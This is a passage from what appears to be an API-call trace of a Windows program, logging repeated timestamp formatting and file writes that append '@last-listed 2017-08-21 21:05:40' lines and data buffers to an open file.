_FileHandle=4, _Buf=0x3bbc170*, _MaxCharCount=0x168 | out: _Buf=0x3bbc170*) returned 360 [0121.443] gmtime (param_1=0x36f188) returned 0x841688 [0121.443] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.443] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.443] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.443] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.443] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.443] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 32328 [0121.443] _write (in: _FileHandle=4, _Buf=0x3be0060*, _MaxCharCount=0x178 | out: _Buf=0x3be0060*) returned 376 [0121.443] gmtime (param_1=0x36f188) returned 0x841688 [0121.444] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.444] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.444] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.444] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.444] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.444] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 32737 [0121.444] _write (in: _FileHandle=4, _Buf=0x3be01e8*, _MaxCharCount=0x178 | out: _Buf=0x3be01e8*) returned 376 [0121.444] gmtime (param_1=0x36f188) returned 0x841688 [0121.444] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.444] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.444] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.444] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.444] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.444] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 33146 [0121.444] _write (in: _FileHandle=4, _Buf=0x3be0370*, _MaxCharCount=0x178 | out: _Buf=0x3be0370*) returned 376 [0121.444] gmtime (param_1=0x36f188) returned 0x841688 [0121.444] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.444] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.444] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.444] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.444] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.444] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 33555 [0121.444] _write (in: _FileHandle=4, _Buf=0x3be04f8*, _MaxCharCount=0x178 | out: _Buf=0x3be04f8*) returned 376 [0121.444] gmtime (param_1=0x36f188) returned 0x841688 [0121.444] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.444] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.444] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.444] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.444] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.444] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 33964 [0121.444] _write (in: _FileHandle=4, _Buf=0x3d65440*, _MaxCharCount=0x910 | out: _Buf=0x3d65440*) returned 2320 [0121.445] gmtime (param_1=0x36f188) returned 0x841688 [0121.445] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.445] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.445] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.445] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.445] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.445] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 36317 [0121.445] _write (in: _FileHandle=4, _Buf=0x3bbc6e8*, _MaxCharCount=0x1a9 | out: _Buf=0x3bbc6e8*) returned 425 [0121.445] gmtime (param_1=0x36f188) returned 0x841688 [0121.445] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.445] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.445] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.445] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.445] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.445] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 36775 [0121.445] _write (in: _FileHandle=4, _Buf=0x3d66560*, _MaxCharCount=0x18a | out: _Buf=0x3d66560*) returned 394 [0121.445] gmtime (param_1=0x36f188) returned 0x841688 [0121.445] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.445] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.445] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.445] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.445] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.445] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 37202 [0121.445] _write (in: _FileHandle=4, _Buf=0x3be0680*, _MaxCharCount=0x178 | out: _Buf=0x3be0680*) returned 376 [0121.445] gmtime (param_1=0x36f188) returned 0x841688 [0121.445] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.445] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.445] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.445] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.445] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.446] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 37611 [0121.446] _write (in: _FileHandle=4, _Buf=0x3be0808*, _MaxCharCount=0x178 | out: _Buf=0x3be0808*) returned 376 [0121.446] gmtime (param_1=0x36f188) returned 0x841688 [0121.446] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.446] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.446] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.446] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.446] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.446] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 38020 [0121.446] _write (in: _FileHandle=4, _Buf=0x3be0990*, _MaxCharCount=0x178 | out: _Buf=0x3be0990*) returned 376 [0121.446] gmtime (param_1=0x36f188) returned 0x841688 [0121.446] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.446] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.446] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.446] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.446] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.446] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 38429 [0121.446] _write (in: _FileHandle=4, _Buf=0x3be0b18*, _MaxCharCount=0x178 | out: _Buf=0x3be0b18*) returned 376 [0121.446] gmtime (param_1=0x36f188) returned 0x841688 [0121.446] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.446] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.446] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.446] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.446] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.446] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 38838 [0121.446] _write (in: _FileHandle=4, _Buf=0x3be0ca0*, _MaxCharCount=0x178 | out: _Buf=0x3be0ca0*) returned 376 [0121.446] gmtime (param_1=0x36f188) returned 0x841688 [0121.446] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.446] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.446] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.446] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.446] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.447] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 39247 [0121.447] _write (in: _FileHandle=4, _Buf=0x3d666f8*, _MaxCharCount=0x1a9 | out: _Buf=0x3d666f8*) returned 425 [0121.447] gmtime (param_1=0x36f188) returned 0x841688 [0121.447] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.447] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.447] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.447] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.447] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.447] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 39705 [0121.447] _write (in: _FileHandle=4, _Buf=0x3d668b0*, _MaxCharCount=0x1b0 | out: _Buf=0x3d668b0*) returned 432 [0121.447] gmtime (param_1=0x36f188) returned 0x841688 [0121.447] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.447] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.447] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.447] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.447] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.447] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 40170 [0121.447] _write (in: _FileHandle=4, _Buf=0x3c0c2a0*, _MaxCharCount=0x1fd | out: _Buf=0x3c0c2a0*) returned 509 [0121.447] gmtime (param_1=0x36f188) returned 0x841688 [0121.447] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.447] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.447] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.447] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.447] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.447] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 40712 [0121.447] _write (in: _FileHandle=4, _Buf=0x3be0e28*, _MaxCharCount=0x178 | out: _Buf=0x3be0e28*) returned 376 [0121.447] gmtime (param_1=0x36f188) returned 0x841688 [0121.447] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.447] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.447] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.447] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.448] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.448] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 41121 [0121.448] _write (in: _FileHandle=4, _Buf=0x3d66a70*, _MaxCharCount=0x6bf | out: _Buf=0x3d66a70*) returned 1727 [0121.448] gmtime (param_1=0x36f188) returned 0x841688 [0121.448] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.448] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.448] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.448] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.448] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.448] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 42881 [0121.448] _write (in: _FileHandle=4, _Buf=0x3d67938*, _MaxCharCount=0x168 | out: _Buf=0x3d67938*) returned 360 [0121.448] gmtime (param_1=0x36f188) returned 0x841688 [0121.448] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.448] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.448] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.448] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.448] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.448] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 43274 [0121.448] _write (in: _FileHandle=4, _Buf=0x3d67ab0*, _MaxCharCount=0x3a6 | out: _Buf=0x3d67ab0*) returned 934 [0121.448] gmtime (param_1=0x36f188) returned 0x841688 [0121.448] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.448] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.448] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.448] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.448] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.448] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 44241 [0121.448] _write (in: _FileHandle=4, _Buf=0x3d67e60*, _MaxCharCount=0x168 | out: _Buf=0x3d67e60*) returned 360 [0121.448] gmtime (param_1=0x36f188) returned 0x841688 [0121.448] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.448] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.448] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.448] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.449] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.449] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 44634 [0121.449] _write (in: _FileHandle=4, _Buf=0x3d67fd8*, _MaxCharCount=0x168 | out: _Buf=0x3d67fd8*) returned 360 [0121.449] gmtime (param_1=0x36f188) returned 0x841688 [0121.449] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.449] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.449] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.449] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.449] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.449] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 45027 [0121.449] _write (in: _FileHandle=4, _Buf=0x3da9730*, _MaxCharCount=0x178 | out: _Buf=0x3da9730*) returned 376 [0121.449] gmtime (param_1=0x36f188) returned 0x841688 [0121.449] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.449] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.449] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.449] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.449] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.449] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 45436 [0121.449] _write (in: _FileHandle=4, _Buf=0x3da98b8*, _MaxCharCount=0x178 | out: _Buf=0x3da98b8*) returned 376 [0121.449] gmtime (param_1=0x36f188) returned 0x841688 [0121.449] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.449] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.449] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.449] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.449] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.449] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 45845 [0121.449] _write (in: _FileHandle=4, _Buf=0x3da9a40*, _MaxCharCount=0x178 | out: _Buf=0x3da9a40*) returned 376 [0121.449] gmtime (param_1=0x36f188) returned 0x841688 [0121.449] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.449] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.449] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.449] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.450] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.450] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 46254 [0121.450] _write (in: _FileHandle=4, _Buf=0x3d68950*, _MaxCharCount=0x2f1 | out: _Buf=0x3d68950*) returned 753 [0121.450] gmtime (param_1=0x36f188) returned 0x841688 [0121.450] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.450] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.450] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.450] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.450] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.450] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 47040 [0121.450] _write (in: _FileHandle=4, _Buf=0x3da9bc8*, _MaxCharCount=0x178 | out: _Buf=0x3da9bc8*) returned 376 [0121.450] gmtime (param_1=0x36f188) returned 0x841688 [0121.450] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.450] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.450] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.450] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.450] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.450] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 47449 [0121.450] _write (in: _FileHandle=4, _Buf=0x3da9d50*, _MaxCharCount=0x178 | out: _Buf=0x3da9d50*) returned 376 [0121.450] gmtime (param_1=0x36f188) returned 0x841688 [0121.450] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.450] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.450] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.450] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.450] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.450] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 47858 [0121.450] _write (in: _FileHandle=4, _Buf=0x3d68c50*, _MaxCharCount=0x1ba | out: _Buf=0x3d68c50*) returned 442 [0121.450] gmtime (param_1=0x36f188) returned 0x841688 [0121.450] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.450] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.450] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.450] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.451] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.451] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 48333 [0121.451] _write (in: _FileHandle=4, _Buf=0x3dab718*, _MaxCharCount=0x19b | out: _Buf=0x3dab718*) returned 411 [0121.451] gmtime (param_1=0x36f188) returned 0x841688 [0121.451] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.451] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.451] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.451] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.451] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.451] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 48777 [0121.451] _write (in: _FileHandle=4, _Buf=0x3dab8c0*, _MaxCharCount=0x2bd | out: _Buf=0x3dab8c0*) returned 701 [0121.451] gmtime (param_1=0x36f188) returned 0x841688 [0121.451] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.451] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.451] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.451] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.451] strlen 